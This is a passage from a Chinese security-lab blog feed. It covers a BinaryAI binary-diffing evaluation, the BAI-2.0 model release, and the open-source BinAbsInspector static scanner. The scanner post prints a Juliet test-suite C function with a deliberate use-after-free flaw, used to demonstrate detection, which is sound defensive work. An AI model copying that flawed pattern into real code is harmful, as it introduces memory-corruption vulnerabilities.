title="数据集"></a>数据集</h2><p>统计评测数据集：选用DEEPBINDIFF论文的数据集[3]，即coreutils、findutils、diffutils三个library，每个library分别在若干个不同版本、每个版本在不同的优化级别下编译，并去除符号表；然后，按照”相同library+不同版本+相同优化级别”和“相同library+相同版本+不同优化级别”分为两组，每组对同名的二进制文件做比对。<br>样例评测数据集：选用openssl库作为样例，分别选择1.1.1u版本以O0优化级别编译为arm架构、3.1.1版本以O3优化级别编译为x64架构，并去除符号表，将产出的openssl可执行文件做比对。openssl作为最成熟的加密算法库之一在各类项目中被广泛应用，而且不同环境下使用的版本、编译选项、指令集架构等有显著差异，这为二进制文件比对任务带来了更大的挑战。</p><h2 id="评测指标"><a href="#评测指标" class="headerlink" title="评测指标"></a>评测指标</h2><p>本文将以下三类函数定义为无效函数：<br>(1) 无法被Ghidra正常反编译的函数（即使出现在函数表中）<br>(2) Thunk函数（无实际功能，只转移控制流到另一个函数）或者指向导入表的外部函数<br>(3) 反编译后伪代码行数小于等于7行的小函数（因为这些函数通常不会引起人们的过多关注，且它们包含的特征往往不足以做出有效的区分）<br>对于先前构造的groundtruth中的匹配，只有两个函数都是有效函数时才计入groundtruth_matches集合，作为后续统计的总量。<br>对于待测工具输出的匹配，如果两个函数都是有效函数且属于groundtruth_matches集合，则是正确的匹配，记为correct_matches集合；如果两个函数都是有效函数但不属于groundtruth_matches集合，则视为明确错误的匹配，记为wrong_matches集合；如果任何一个函数属于无效函数，则忽略此匹配结果，不计入正确或错误的统计。</p><p><strong>基于上述定义，评测采用三个数值指标：precision、recall、F1</strong><br>precision：准确率<br> <img src="/zh/img/2023-BinaryAI-update20230713-release/5-precision.png"><br>recall：召回率<br> <img src="/zh/img/2023-BinaryAI-update20230713-release/6-recall.png"><br>F1：precison和recall的调和平均<br> <img src="/zh/img/2023-BinaryAI-update20230713-release/7-F1.png"></p><h2 id="数据预处理"><a href="#数据预处理" class="headerlink" title="数据预处理"></a>数据预处理</h2><h3 id="1-groundtruth的构建"><a href="#1-groundtruth的构建" class="headerlink" title="(1) groundtruth的构建"></a>(1) groundtruth的构建</h3><p>当某个库选入测试集后，首先对源代码修改编译选项以在构建产物中保留符号表，然后正常运行构建流程，得到原始的构建产物；然后对二进制文件进行符号剥离，得到对应的无符号二进制文件；下一步，将剥离前后的两个文件分别传入Ghidra反编译器，导出各自的函数列表文档；最后，从有符号二进制文件的文档中提取函数名，补充到无符号二进制文件的文档中。<br>后续进行任何比对都只在剥离符号的文件中进行，使实验更贴近真实场景，且避免比对工具利用函数名做辅助判断。做不同文件比对时，只要函数名称相同就标注为匹配。因为函数名通常是对函数功能的概述，相同名称的函数即使源代码不同，语义逻辑大概率也是相近的。</p><h3 id="2-Diaphora匹配结果的构建"><a href="#2-Diaphora匹配结果的构建" class="headerlink" title="(2) Diaphora匹配结果的构建"></a>(2) Diaphora匹配结果的构建</h3><p>使用IDA Script加载Diaphora，评测时只额外开启relaxed_ratio选项，其他保持预设的默认值。因为比对任务的目标是找出匹配的函数，因此函数自身的微小改动不会被当做首要关注点。<br>构建过程分为三步。<br>1、使用IDA headless mode加载Diaphora script导出其特征sqlite文件；<br>2、使用离线Diaphora script对两个sqlite生成Diaphora匹配结果文件；<br>3、将结果文件转换为统一格式；<br>本文的测试数据使用IDA7.5+Diaphora3.0生成。</p><h3 id="3-BinaryAI二进制文件比对算法匹配结果的构建"><a href="#3-BinaryAI二进制文件比对算法匹配结果的构建" class="headerlink" title="(3) BinaryAI二进制文件比对算法匹配结果的构建"></a>(3) BinaryAI二进制文件比对算法匹配结果的构建</h3><p>需要额外调用BAI-2.0模型为每个函数生成embedding向量，<a href="https://github.com/binaryai/bindiffmatch">BinaryAI开源仓库</a> 中已包含此数据。</p><h2 id="评测结果"><a href="#评测结果" class="headerlink" title="评测结果"></a>评测结果</h2><p>(1) 统计评测：coreutils、findutils、diffutils，cross-version和cross-optimization-level汇总（去除符号）<br> <img src="/zh/img/2023-BinaryAI-update20230713-release/8-result-1.png"><br>(2) <a href="https://www.binaryai.cn/compare/eyJzaGEyNTYiOiJiNDQzYjRjMmNiMzlkYWNmMTkwNzA3NTI1NGE3MWJkYTg1ZjU2OTczNDk3YjgxNmUyZWRjNTNlZGQ2OTE4MTllIiwidGFyZ2V0Ijp7ImJpbmRpZmYiOnsic2hhMjU2IjoiZTMwZWRjOGQ2YjYyN2U5YmRjMTRmNWQyMTViNzZiYTUxYzFjMTNhODZjOWNjYzEzYzY1YmEyNGIzZTdmODRiMCJ9fX0=">样例评测</a>[4]，openssl-1.1.1u-gcc_arm_O0-openssl.strip和openssl-3.1.1-gcc_x64_O3-openssl.strip （去除符号）<br> <img src="/zh/img/2023-BinaryAI-update20230713-release/9-result-2.png"></p><p>下图分别是Diaphora和BinaryAI对这两个文件的部分匹配结果（注：为便于直观判定匹配的准确性，图示结果使用了保留符号的二进制文件，并在Diaphora的配置中选中”Ignore all function names”、”Relaxed calculations of different ratios”以及”Use slow heuristics”），可以看出Diaphora的匹配结果中函数名存在不一致的问题，即产生了误报。<br> <img src="/zh/img/2023-BinaryAI-update20230713-release/10-compare-Diaphora.png" alt="图6：Diaphora匹配结果截图"><br> <img src="/zh/img/2023-BinaryAI-update20230713-release/11-compare-BinaryAI.png" alt="图7：BinaryAI匹配结果截图"></p><p><strong>通过两组评测可以总结出，以大模型BAI-2.0 embedding为基础能力的BinaryAI表现较稳定，优于Diaphora。</strong></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>二进制文件比对在实际场景下具有重要的应用价值。现有工具无论是基于传统的启发式特征工程还是汇编语句级别的机器学习模型，在识别的准确率、召回率方面都尚未达到理想的状态。<br>科恩实验室多年来旨在实现各类技术的纵深融合，BinaryAI作为科恩将AI赋能安全的应用实践，本次依托自研BAI-2.0大模型，着重于语义匹配，实现了二进制文件比对更为优秀的解决方案。在处理跨架构、版本、优化级别等复杂场景下，能够取得更好的评测效果。<br>目前，BinaryAI的二进制比对功能已经全面发布。欢迎各位前往 <a href="https://binaryai.cn/">https://binaryai.cn/</a>选择“<strong>自定义比对功能</strong>“开启体验。此外，如有复现评测结果需求，请前往BinaryAI官方仓库<a href="https://github.com/binaryai/bindiffmatch">https://github.com/binaryai/bindiffmatch</a>获取相关资源。</p><h1 id="更多业务体验"><a href="#更多业务体验" class="headerlink" title="更多业务体验"></a>更多业务体验</h1><p>BinaryAI的算法引擎核心能力已同步落地应用于腾讯安全多款产品，包括：</p><ul><li><a href="cloud.tencent.com/product/bsca">腾讯云二进制软件成分分析BSCA ，限时包月免费活动进行中</a></li><li><a href="tix.qq.com">腾讯威胁情报 TIX</a></li><li><a href="https://mp.weixin.qq.com/s?__biz=MzI5ODk3OTM1Ng==&mid=2247499680&idx=1&sn=a5771e0990df8ea6259ff4b6d22df5de&scene=21#wechat_redirect">腾讯主机安全云镜</a><br>除此之外，科恩实验室始终以积极的姿态探索软件安全领域和前沿AI结合的科研落地，推动成果转化以解决产业痛点问题。</li></ul><h1 id="加入用户群"><a href="#加入用户群" class="headerlink" title="加入用户群"></a>加入用户群</h1><p>微信扫码或搜索并添加“keenlab”为好友<br>发送“BinaryAI交流群”获得入群链接<br> <img src="/zh/img/2023-BinaryAI-update20230713-release/12-wx.png"></p><h1 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h1><p>[1] BinDiff：<a href="https://www.zynamics.com/bindiff.html">https://www.zynamics.com/bindiff.html</a><br>[2] Diaphora：<a href="https://github.com/joxeankoret/diaphora">https://github.com/joxeankoret/diaphora</a><br>[3] DEEPBINDIFF：<a href="https://github.com/yueduan/DeepBinDiff">https://github.com/yueduan/DeepBinDiff</a><br>[4] <a href="https://www.binaryai.cn/compare/eyJzaGEyNTYiOiJiNDQzYjRjMmNiMzlkYWNmMTkwNzA3NTI1NGE3MWJkYTg1ZjU2OTczNDk3YjgxNmUyZWRjNTNlZGQ2OTE4MTllIiwidGFyZ2V0Ijp7ImJpbmRpZmYiOnsic2hhMjU2IjoiZTMwZWRjOGQ2YjYyN2U5YmRjMTRmNWQyMTViNzZiYTUxYzFjMTNhODZjOWNjYzEzYzY1YmEyNGIzZTdmODRiMCJ9fX0=">BinaryAI示例文件</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;img src=&quot;/zh/img/2023-BinaryAI-update20230713-release/new-cover.png&quot;&gt;&lt;/p&gt;
&lt;p&gt;科恩实验室自研二进制安全智能分析平台- BinaryAI技术分享：全新功能“二进制比对”的设计与实现。本文介绍了BinaryAI如何在大模型 BAI-2.0基础上叠加启发式算法，以函数粒度的语义匹配提高了复杂场景下二进制比对准确率及召回率。&lt;br&gt;体验地址：&lt;a href=&quot;https://www.binaryai.cn/&quot;&gt;https://www.binaryai.cn&lt;/a&gt;&lt;/p&gt;</summary>
    
    
    
    
    <category term="KeenLab" scheme="https://keenlab.tencent.com/zh/tags/KeenLab/"/>
    
  </entry>
  
  <entry>
    <title>BinaryAI全新代码匹配模型BAI-2.0上线，“大模型”时代的安全实践</title>
    <link href="https://keenlab.tencent.com/zh/2023/02/08/2023-BinaryAI-update230208-release/"/>
    <id>https://keenlab.tencent.com/zh/2023/02/08/2023-BinaryAI-update230208-release/</id>
    <published>2023-02-07T17:00:00.000Z</published>
    <updated>2025-12-08T11:23:11.842Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/zh/img/2023-BinaryAI-update20230208-release/cover.png"></p><p>科恩自研二进制安全智能分析平台—BinaryAI带来重要功能更新：发布全新代码匹配模型BAI-2.0、准确率提升、数据集拓展及用户体验优化。体验地址：<a href="https://www.binaryai.net/">https://www.binaryai.net</a></p><span id="more"></span><p>科恩实验室在2021年8月首次发布二进制安全智能分析平台—<a href="https://www.binaryai.net/">BinaryAI</a>，BinaryAI可精准高效识别二进制文件的第三方组件及其版本号，旨在推动SCA（Software Composition Analysis，软件成分分析）技术在DevSecOps、威胁情报、安全研究等应用场景发展。<br>BinaryAI本次发布产品重要更新，配备创新的算法模型和持续扩展的后台数据。科恩代码匹配模型BAI-2.0和配套算法引擎彻底革新了SCA的表现，配合业界领先的数据集和种种精彩新功能，BinaryAI实现了分析准确性及效率的大幅提升。</p><h2 id="关于BinaryAI"><a href="#关于BinaryAI" class="headerlink" title="关于BinaryAI"></a>关于BinaryAI</h2><p><a href="https://www.binaryai.net/">BinaryAI</a>对上传文件进行自动化解包、解析后，基于自研SCA算法和后台GitHub全量C&#x2F;C++库的开源组件数据集，对其进行软件成分分析、函数相似性检索，以业界领先的识别准确率匹配到文件所使用的开源组件，辅助用户完成软件成分分析和恶意软件分析的安全分析工作。BinaryAI算法引擎背后是各种AI算法和经典算法，其中核心的代码匹配模型在行业内具备显著优势。<br>科恩实验室持续深耕智能软件安全分析研究，联合多所高校和科研院所，在信息安全、软件工程和人工智能领域的多个顶级会议上发表十余篇文章。基于科恩智能软件安全分析的研究沉淀，BinaryAI不断提升其准确分析能力。</p><h2 id="BinaryAI更新亮点"><a href="#BinaryAI更新亮点" class="headerlink" title="BinaryAI更新亮点"></a>BinaryAI更新亮点</h2><h3 id="后端模型重磅升级"><a href="#后端模型重磅升级" class="headerlink" title="后端模型重磅升级"></a>后端模型重磅升级</h3><p>科恩代码匹配模型上线BAI-2.0，顺应了AI模型开发领域向大模型演进的趋势。大模型的出现不仅促进了技术的迭代，还衍生出一批备受关注的大模型应用，如AIGC图像生成应用、ChatGPT工具等。作为领域内的先行者，科恩通过在软件成分分析领域落地应用大模型，适配了该领域的细分场景，提升了BinaryAI的召回效果。</p><h3 id="准确率步步攀升"><a href="#准确率步步攀升" class="headerlink" title="准确率步步攀升"></a>准确率步步攀升</h3><p>BinaryAI基于科恩自研的代码匹配模型BAI-2.0和复杂图的程序分析算法，对可执行文件中的二进制函数使用图算法分析，同时与AI算法相辅相成，在GitHub全量C&#x2F;C++库中找到匹配的源代码函数。经过多次迭代，BinaryAI的算法引擎提升了算法的准确率，降低了误报，较上个版本更上一台阶。</p><h3 id="亿级函数数据集持续拓展"><a href="#亿级函数数据集持续拓展" class="headerlink" title="亿级函数数据集持续拓展"></a>亿级函数数据集持续拓展</h3><p>BinaryAI已经支持全网主流开源C&#x2F;C++语言项目，采集了数万代码仓库的百万级版本分支，累计百亿C&#x2F;C++源代码文件特征数据，去重后包含亿级函数特征。数据能力和算法引擎使得BinaryAI的SCA能够准确定位二进制文件所使用的的开源项目的具体版本，满足查看软件成分清单的需求。数据集已经拓宽对其他开发语言的支持，共计三百多万个代码仓库，未来将支持BinaryAI在其他开发语言、应用场景发挥其成分分析能力。<br><a href="https://mp.weixin.qq.com/s/M_FbnsD1GjVtEEhVYu2W3w">BinaryAI功能更新布告｜构建全量开源项目数据集</a></p><h3 id="倾听用户之声"><a href="#倾听用户之声" class="headerlink" title="倾听用户之声"></a>倾听用户之声</h3><p>为改善过去BinaryAI提供的插件在客户端上网络请求结果慢、交互体验不佳的问题，BinaryAI在网页平台上新增“BinaryAI函数相似性检索”导出能力，用户可以在平台上传二进制文件并浏览分析结果后，下载结果导入到IDA或Ghidra等二进制分析软件中，继续安全分析工作，这一优化将大幅提升深度分析二进制文件场景的用户体验。<br>此外，平台增加科恩自研腾讯云二进制软件成分分析产品—BSCA的跳转入口，用户可一键跳转体验漏洞扫描、License审计等特有功能，适用于DevSecOps 制品扫描、软件上线前安全风险识别、检查上下游供应链安全问题等应用场景。</p><h2 id="最新功能特性展示"><a href="#最新功能特性展示" class="headerlink" title="最新功能特性展示"></a>最新功能特性展示</h2><p>点击<strong>“BinaryAI函数相似性检索”</strong>，即可下载结果Json文件，获得插件的GitHub下载链接。<br><img src="/zh/img/2023-BinaryAI-update20230208-release/update.png" alt="图1-BinaryAI函数相似性检索功能展示"></p><p><strong>典型文件示例</strong>：<br>软件成分分析和函数识别：<a href="https://www.binaryai.cn/analysis/bbe34331e5068d7dc5b990fbef10002358b4ef8e07ab92c0d5620ed60fc36b30">示例1</a>、<a href="https://www.binaryai.cn/analysis/914df307b6b9fde62771b20f8d5c6d1fc7fd8d15117cb99cc8bb0a89f9ddca83">示例2</a><br>威胁情报（C2样本检测）：<a href="https://www.binaryai.cn/analysis/289616b59a145e2033baddb8a8a9b5a8fb01bdbba1b8cf9acadcdd92e6cc0562">示例3</a><br>威胁情报（挖矿样本检测）：<a href="https://www.binaryai.cn/analysis/33ead107e7a01e9eb3432baebe14172ae6fe94ce62f41afad9f884e7c9b5dfe7">示例4</a></p><h3 id="演示视频"><a href="#演示视频" class="headerlink" title="演示视频"></a>演示视频</h3><p><strong><a href="https://www.bilibili.com/video/BV1CA41167CS/?vd_source=acf29aa086cce1034873d576e87e6adf">若视频无法正常播放请点击</a></strong></p><div style="text-align: center;"><iframe frameborder="0" width="600" height="400" src="//v.qq.com/txp/iframe/player.html?vid=o3501oo3a76&tiny=0&auto=0" allowfullscreen></iframe></div><h2 id="更多业务体验"><a href="#更多业务体验" class="headerlink" title="更多业务体验"></a>更多业务体验</h2><p>BinaryAI的算法引擎核心能力已同步落地应用于腾讯安全多款产品：</p><ul><li>腾讯云二进制软件成分分析:<a href="https://cloud.tencent.com/product/bsca">BSCA</a>包月免费活动进行中</li><li>腾讯威胁情报 TIX:<a href="https://tix.qq.com/">TIX</a></li><li>腾讯主机安全云镜:<a href="https://mp.weixin.qq.com/s/9dwUVyI34fi5lEPCDZJz_Q">腾讯主机安全（云镜）兵器库：斩杀挖矿木马的利剑-BinaryAI引擎</a></li></ul><p>除此之外，科恩实验室始终以积极的姿态探索软件安全领域和前沿AI结合的科研落地，推动成果转化以解决产业痛点问题。</p><h2 id="加入用户群"><a href="#加入用户群" class="headerlink" title="加入用户群"></a>加入用户群</h2><p>微信扫码或搜索并添加“keenlab”为好友，发送“BinaryAI交流群”获得入群链接<br><img src="/zh/img/2023-BinaryAI-update20230208-release/wx.png" alt="keenlab"></p><h2 id="往期回顾"><a href="#往期回顾" class="headerlink" title="往期回顾"></a>往期回顾</h2><p><a href="https://keenlab.tencent.com/zh/2021/08/11/2021-binaryai-public-release/">[1]腾讯安全科恩实验室推出首款免费在线SCA平台：BinaryAI</a><br><a href="https://keenlab.tencent.com/zh/2020/11/03/neurips-2020-cameraready/">[2]科恩实验室最新NeurIPS-2020论文解读：基于跨模态检索的二进制代码-源代码匹配</a><br><a href="https://keenlab.tencent.com/zh/2019/12/10/Tencent-Keen-Security-Lab-Order-Matters/">[3]AAAI-20论文解读：基于图神经网络的二进制代码分析</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;img src=&quot;/zh/img/2023-BinaryAI-update20230208-release/cover.png&quot;&gt;&lt;/p&gt;
&lt;p&gt;科恩自研二进制安全智能分析平台—BinaryAI带来重要功能更新：发布全新代码匹配模型BAI-2.0、准确率提升、数据集拓展及用户体验优化。体验地址：&lt;a href=&quot;https://www.binaryai.net/&quot;&gt;https://www.binaryai.net&lt;/a&gt;&lt;/p&gt;</summary>
    
    
    
    
    <category term="KeenLab" scheme="https://keenlab.tencent.com/zh/tags/KeenLab/"/>
    
  </entry>
  
  <entry>
    <title>“精”准把握静态分析｜科恩二进制文件自动化静态漏洞检测工具正式开源</title>
    <link href="https://keenlab.tencent.com/zh/2022/04/20/2022-BinAbsInspector-public-release/"/>
    <id>https://keenlab.tencent.com/zh/2022/04/20/2022-BinAbsInspector-public-release/</id>
    <published>2022-04-20T06:00:00.000Z</published>
    <updated>2025-12-08T11:23:11.842Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/zh/img/2022-BinAbsInspector-public-release/cover.png"></p><p>为提升静态分析在二进制文件漏洞检测领域效率和可扩展性，科恩孵化并开源二进制文件静态漏洞分析工具BinAbsInspector项目。代码仓库地址：<a href="https://github.com/KeenSecurityLab/BinAbsInspector">https://github.com/KeenSecurityLab/BinAbsInspector</a></p><span id="more"></span><h2 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h2><h3 id="软件漏洞检测“两板斧”"><a href="#软件漏洞检测“两板斧”" class="headerlink" title="软件漏洞检测“两板斧”"></a>软件漏洞检测“两板斧”</h3><p>随着信息产业的发展，网络安全问题日益严峻，软件漏洞对于互联网威胁极大，是网络安全中的核心问题。为了缓解漏洞所造成的危害，需要对软件进行安全检测，尽可能地发现并消除潜在漏洞。目前常见的自动化漏洞检测手段可以分为两类：<strong>动态分析测试</strong>和<strong>静态分析</strong>。</p><p>动态分析测试方法（如fuzzing等）在过去五年里吸引了研究者的广泛关注，相关系统在工业界中已经得到了大规模的部署和应用。相比于动态方法，静态分析通常具有更高的覆盖率，然而，现阶段对于静态分析的使用多依赖于人工经验规则，且精度和效率之间尚未找到一个合适的平衡点，这导致其在现实场景中的落地不尽如人意。</p><h3 id="静态分析工具现状"><a href="#静态分析工具现状" class="headerlink" title="静态分析工具现状"></a>静态分析工具现状</h3><p>目前国际上较为成功的商业化分析工具有 <a href="https://www.synopsys.com/software-integrity/security-testing/static-analysis-sast.html">Coverity[1] </a>、 <a href="https://www.grammatech.com/products/source-code-analysis">CodeSonar[2]</a> 、 <a href="https://www.veracode.com/">VeraCode[3] </a>等，它们在代码质量保障上发挥了重要作用，相关产品也在Google等公司的DevOps流程中得到了广泛部署和使用。</p><p>包括开源及商业化产品在内，现有的静态分析方案多为源码级分析。面向源代码进行扫描，尽管可以在一定程度上满足软件安全需要，然而在真实安全场景中，待分析对象多为二进制文件，如嵌入式系统固件，商业软件等，研究人员难以获得相应的源代码，此时源码级静态分析方案不再适用。</p><p>值得一提的是，部分商业化产品（如CodeSonar等）也提供了对于二进制文件的分析能力，然而商业化路线所带来的封闭性，在很大程度上限制了普通研究者的使用和二次开发。与此同时，在开源社区中也涌现出一批知名的二进制分析工具，如 <a href="https://angr.io/">angr[4]</a> 、 <a href="https://github.com/BinaryAnalysisPlatform/bap/">BAP[5]</a> 、 <a href="https://github.com/fkie-cad/cwe_checker/">cwe_checker[6] </a>。其中，angr和BAP逐渐往通用分析框架发展，并非专注于二进制漏洞扫描，因此其内部的分析算法较为庞杂，不利于进一步扩展和优化；cwe_checker的定位相对清晰，专注于安全漏洞扫描，但其精度和效率却不甚理想。目前业界亟需一种更为先进的二进制漏洞扫描工具，在开源的大前提下，其性能和可扩展性也要满足真实场景的需要。为此，科恩实验室基于自身在二进制领域丰富的研究与实践经验，同时结合业内相关优秀工具的设计理念，最终孵化出性能出色且自主可控的二进制漏洞静态扫描工具—BinAbsInspector。</p><h2 id="原理与实现"><a href="#原理与实现" class="headerlink" title="原理与实现"></a>原理与实现</h2><p>BinAbsInspector的设计思想来源于上世纪70年代诞生的经典程序分析理论<strong>“抽象解释”</strong>，在具体实现上，BinAbsInspector的分析基于<a href="https://ghidra-sre.org/">Ghidra[7]</a>所提供的中间表示Pcode上。通过设计合适的抽象域，实现其上的多种运算，完成相关Pcode的操作语义，执行流敏感（flow-sensitive）和上下文敏感（context-sensitive）的过程间分析，同时加入静态污点分析的能力，完成对程序运行时状态的抽象估计。基于上述分析所得的抽象数据流信息对多种漏洞建模，最终实现对二进制漏洞的静态扫描。</p><p>对于程序的抽象方法，我们主要参考了经典论文<a href="https://dl.acm.org/doi/pdf/10.1145/1749608.1749612">《WYSINWYX: What you see is not what you eXecute》[8] </a>中的做法并加以改良、简化和提升。<br>具体来说，在BinAbsInspector中整个运行时环境被分为Local （抽象栈）、Heap（抽象堆）、Global（全局变量和数值）、Unique（对应Ghidra中产生的临时变量区）和Register（寄存器区）五种region。在这些不同的抽象区域上加上偏移数值offset，便可以组成一个抽象变量ALoc（Abstract Location&#x2F;Variable）。因为在二进制程序中，变量并非全部显式表示，ALoc便是对实际程序中变量的一种估算和识别。<br>对应不同的程序点，需要记录此处可能存活的抽象变量和其对应的抽象值，称之为AbsEnv（Abstract Environment）。</p><p>因为是静态的抽象，那么对于一个程序点的一个抽象变量，它可能会包含多个抽象值，这些抽象值组成了一个集合。虽然这个集合可能会包含无穷多个元素，但是为了保证整个计算过程实践上可收敛，令此集合取一个上限K，这种集合称之为KSet。一旦其中包含的元素超过K，便将其变为一个Top，即包含所有抽象值。此方法与前人重要相关工作 <a href="http://www.jakstab.org/">Jakstab[9] </a> 中的KSet较为相似。KSet支持多种算数和逻辑运算。此外每一个KSet对象也会包含一个污点的位图，用来跟踪多个污点的同时传播，从而实现静态污点分析。这样AbsEnv便可以认为是一个从ALoc到KSet的map。</p><p>由于BinAbsInspector的分析是上下文敏感的，对于被调用者的上下文 （Context），我们使用最近的call string（call site）来进行唯一标识。即对于同一个被调用者，不同的调用者会生成不同的Context，一般只记录最近的几个调用者。这样我们便把程序点处的AbsEnv记录在不同的Context中。</p><p>除此，对于过程内的不动点计算BinAbsInspector里使用了worklist算法，即把待处理的程序点不断地放入worklist中，直到其空为止。过程间分析主要在于不同的Context之间的转变，这是通过call&#x2F;return指令的语义实现的。这样通过对整个程序指令的迭代计算值并加以Context的转换，Context及其附属的worklist得到逐一处理，直到所有的worklist计算结束，最后达到不动点。</p><p>通过这整个的计算过程，便会得到所有可能的Context以及对应的每个程序点的AbsEnv。这样相当于得到了一个对程序行为可靠的估算，有了这些抽象数据流的信息，我们便可以进行内存破坏漏洞、命令注入漏洞等多种漏洞的检测了。</p><h2 id="实例演示"><a href="#实例演示" class="headerlink" title="实例演示"></a>实例演示</h2><p>下面我们通过一个包含<strong>Use-After-Free漏洞</strong>的简单样例来演示BinAbsInepector的运行情况和基本原理。</p><h3 id="漏洞原理"><a href="#漏洞原理" class="headerlink" title="漏洞原理"></a>漏洞原理</h3><p>“CWE416_Use_After_Free__malloc_free_struct_01_bad”函数中首先调用“malloc”函数分配内存用于存放100个“twoIntsStruct”对象—&gt;依次对这部分对象进行初始化操作—&gt;直接释放内存—&gt;释放内存过后再次调用了“printStructLine”函数访问已释放内存中的地址—&gt;造成Use-After-Free漏洞。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">CWE416_Use_After_Free__malloc_free_struct_01_bad</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    twoIntsStruct * data;</span><br><span class="line">    <span class="comment">/* Initialize data */</span></span><br><span class="line">    data = <span class="literal">NULL</span>;</span><br><span class="line">    data = (twoIntsStruct *)<span class="built_in">malloc</span>(<span class="number">100</span>*<span class="keyword">sizeof</span>(twoIntsStruct));</span><br><span class="line">    <span class="keyword">if</span> (data == <span class="literal">NULL</span>) &#123;<span class="built_in">exit</span>(<span class="number">-1</span>);&#125;</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="type">size_t</span> i;</span><br><span class="line">        <span class="keyword">for</span>(i = <span class="number">0</span>; i &lt; <span class="number">100</span>; i++)</span><br><span class="line">        &#123;</span><br><span class="line">            data[i].intOne = <span class="number">1</span>;</span><br><span class="line">            data[i].intTwo = <span class="number">2</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">/* POTENTIAL FLAW: Free data in the source - the bad sink attempts to use data */</span></span><br><span class="line">    <span class="built_in">free</span>(data);</span><br><span class="line">    <span class="comment">/* POTENTIAL FLAW: Use of data that may have been freed */</span></span><br><span class="line">    printStructLine(&amp;data[<span class="number">0</span>]);</span><br><span class="line">    <span class="comment">/* POTENTIAL INCIDENTAL - Possible memory leak here if data was not freed */</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span> * argv[])</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="comment">/* seed randomness */</span></span><br><span class="line">    srand( (<span class="type">unsigned</span>)time(<span class="literal">NULL</span>) );</span><br><span class="line">    printLine(<span class="string">&quot;Calling bad()...&quot;</span>);</span><br><span class="line">    CWE416_Use_After_Free__malloc_free_struct_01_bad();</span><br><span class="line">    printLine(<span class="string">&quot;Finished bad()&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="安装及导入"><a href="#安装及导入" class="headerlink" title="安装及导入"></a>安装及导入</h3><p>BinAbsInspector作为Ghidra Extension的形式进行开发，构建后安装在Ghidra中，支持GUI和Headless模式运行，用户也可以通过项目中提供的Dockerfile构建docker镜像体验功能，具体使用方法见 <a href="https://github.com/KeenSecurityLab/BinAbsInspector">仓库README</a> 。在此我们以<strong>GUI模式</strong>为例介绍使用步骤。</p><p>首先将BinAbsInspector安装在Ghidra，我们将编译好的样本程序（armv7）导入Ghidra，待Ghidra的分析完成，便可以运行我们的分析了。这时会弹出工具的分析选项框，将分析过程的配置参数暂时保持默认即可。</p><p><img src="/zh/img/2022-BinAbsInspector-public-release/1-tools-1.png" alt="图1-工具分析选项框"></p><h3 id="结果展现"><a href="#结果展现" class="headerlink" title="结果展现"></a>结果展现</h3><p>分析显示找到2处CWE告警，在下方命令行中会显示具体告警的地址。<br><strong>标记1：</strong>触发告警的地址，即产生Use-After-Free访问的指令地址；<br><strong>标记2：</strong>上下文调用记录，可以理解为函数的调用栈；</p><p><img src="/zh/img/2022-BinAbsInspector-public-release/2-tools-2.png" alt="图2-分析结果展现"></p><h3 id="分析溯源"><a href="#分析溯源" class="headerlink" title="分析溯源"></a>分析溯源</h3><p>双击命令行中的告警地址可以在汇编窗口跳转到对应的指令，另外右边的反编译窗口也将同步展示对应的伪代码，可以看到两条告警的指令都位于“printStructLine” 函数的内部，都是访问已释放内存的LDR指令，结果符合预期。</p><p><img src="/zh/img/2022-BinAbsInspector-public-release/3-tools-3.png" alt="图3-双击告警地址结果显示"></p><p>原理上简而言之，在第6行“malloc”处创建了一个Heap region，data的抽象值为此Heap及偏移值0，这一信息被加入当前的AbsEnv中并继续向后传播，经过第17行的“free”，data的抽象值数值保持不变，其中的Heap region变成了一个相同数值但是为无效状态的新region，当前的AbsEnv也会同步更新这一变化并将这一改动向后传播，最后在19行“printStructLine”内部的LDR指令时，通过查询传播到此的AbsEnv，检测到data指向的是一个无效的Heap region，这样便可以查找出这个Use-After-Free的问题。</p><h2 id="性能评估"><a href="#性能评估" class="headerlink" title="性能评估"></a>性能评估</h2><p>我们选取 <a href="https://samate.nist.gov/SRD/testsuite.php">Juliet[10]</a> 这一较为权威的测试集，在x86、x64、armv7三个架构上进行测试，并与cwe_checker测试结果进行对照比较。 另外，BinAbsInspector也支持对aarch64架构样本的检测，这是cwe_checker目前不支持的。<br>下面表格展示的是在CWE415 (Double-Free)， CWE416 (Use-After-Free)，CWE476 (Null Poionter Deference), CWE78 (Command Injection) 4种核心漏洞检测能力与cwe_checker的对比结果。<br>结果表明，BinAbsInspector的测试结果在所支持的CWE类型上均取得较大幅度优势。</p><p>(BAI: BinAbsInspector, CC: cwe_checker, TP: True Positive正阳性, FP: False Positive假阳性, TN: True Negative正阴性, FN: False Negative假阴性)</p><img src="/zh/img/2022-BinAbsInspector-public-release/4-x86-compare.png" alt="图4-x86下-核心检测能力数据对比" align="middle" style="width:500px;position:relative;left:50%;margin-left:-250px;" /><img 